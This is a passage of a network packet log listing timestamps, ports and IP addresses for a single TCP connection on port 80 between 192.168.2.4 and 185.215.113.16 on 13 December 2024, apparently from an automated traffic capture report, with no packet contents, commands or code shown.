Dec 13, 2024 01:51:54.129283905 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.130127907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.130218983 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.130270004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.131083965 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.131170988 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.131206989 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.132097960 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.132180929 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.132236004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.133076906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.133196115 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.134059906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.134125948 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.134145975 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.135034084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.135091066 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.135185003 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.136024952 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.136209011 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.136269093 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.137007952 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.137130976 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.137185097 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.138019085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.138108015 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.138163090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.139008045 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.139118910 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.139193058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.139980078 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.140034914 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.140090942 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.140959978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.141076088 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.141140938 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.141946077 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.142061949 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.142921925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.142997026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.143035889 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.143176079 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.143933058 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.144048929 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.144942999 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.145001888 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.145036936 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.145916939 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.146043062 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.146100044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.146864891 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.146977901 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.147032022 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.147881985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.147972107 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.148855925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.148911953 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.148974895 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.149842978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.149898052 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.149980068 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.150846004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.150927067 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.150985956 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.151792049 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.151921034 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.152806997 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.152863979 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.152930975 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.153779984 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.153835058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.153892040 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.154774904 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.154845953 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.154911995 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.155178070 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.155797005 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.155896902 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.156784058 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.156845093 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.156846046 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.157742023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.157891035 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.157954931 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.158720970 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.159187078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.299870968 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.299937010 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.299968004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.300405979 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.300461054 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.300523996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.300580978 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.301381111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.301450968 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.301469088 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.301765919 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.302351952 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.302510977 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.302561998 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.303704023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.303778887 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.303816080 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.304177999 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.304337025 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.304394007 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.304457903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.304579973 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.305320024 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.305443048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.305522919 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.306308985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.306387901 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.306411028 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.307183981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.307300091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.307430029 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.308278084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.308335066 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.308343887 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.309298038 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.309354067 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.309427977 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.310250044 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.310338974 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.310379982 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.310580969 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.311244965 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.311424971 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.311573029 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.312225103 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.312282085 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.312344074 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.313235998 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.313297033 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.313376904 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.313463926 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.314250946 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.314306974 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.314327002 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.314368963 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.315200090 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.315330982 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.315588951 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.316174030 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.316291094 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.316345930 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.317157984 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.317233086 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.317260981 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.317308903 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.318169117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.318279028 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.319159031 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.319185972 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.319221973 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.319263935 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.320156097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.320255995 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.320317030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.321100950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.321243048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.322086096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.322161913 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.322212934 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.322536945 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.323071003 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.323172092 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.323201895 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.324094057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.324249983 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.324314117 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.325064898 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.325187922 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.325198889 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.325256109 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.326051950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.326196909 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.326262951 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.327058077 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.327156067 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.327207088 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.327239990 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.328028917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.328087091 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.328155994 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.328203917 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.329020977 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.329077005 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.329212904 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.329267979 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.330008984 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.330073118 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.330104113 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.330266953 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.330996990 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.331053019 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.331075907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.331401110 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.332024097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.332079887 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.332079887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.332943916 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.333080053 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.333144903 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.333945990 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.334043980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.334925890 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.334995031 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.335071087 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.335180044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.335933924 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.336039066 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.336100101 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.336916924 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.336978912 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.337058067 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.337374926 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.337919950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.337975979 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.338059902 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.338454008 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.338891983 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.338943958 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.338947058 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.339215994 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.339876890 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.339942932 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.340033054 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.340323925 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.340907097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.340962887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.341845989 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.341914892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.341950893 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.342820883 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.342958927 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.343017101 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.343822956 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.343885899 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.343940020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.344219923 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.344827890 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.344887018 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.344988108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.345084906 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.345767975 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.345921993 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.345942020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.346333981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.346767902 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.346826077 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.346892118 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.346942902 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.347757101 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.347807884 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.347892046 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.347973108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.348757029 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.348874092 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.348939896 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.349725962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.349803925 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.349847078 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.350122929 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.350718021 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.350775003 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.350843906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.351001024 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.351667881 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.351732016 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.492181063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.492232084 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.492244959 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.492289066 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.492516994 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.492568970 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.492611885 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.492681980 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.493257999 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.493336916 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.493374109 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.493422031 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.494270086 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.494326115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.494342089 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.494482040 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.495260954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.495326996 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.495372057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.495424986 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.496220112 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.496272087 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.496319056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.496366024 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.497234106 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.497284889 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.497334003 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.497401953 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.498209953 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.498275042 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.498332024 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.498387098 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.499195099 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.499247074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.499294996 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.499349117 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.500211954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.500283003 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.500339985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.500395060 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.501190901 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.501246929 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.501301050 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.501441002 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.502172947 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.502226114 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.502285957 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.502331972 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.503140926 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.503201962 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.503283978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.503407001 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.504143953 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.504194975 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.504261017 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.504323006 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.505132914 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.505188942 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.505264044 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.505317926 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.506140947 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.506196976 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.506267071 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.506321907 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.507215977 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.507289886 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.507368088 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.507421970 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.508145094 CET	80	49880	185.215.113.16	192.168.2.4
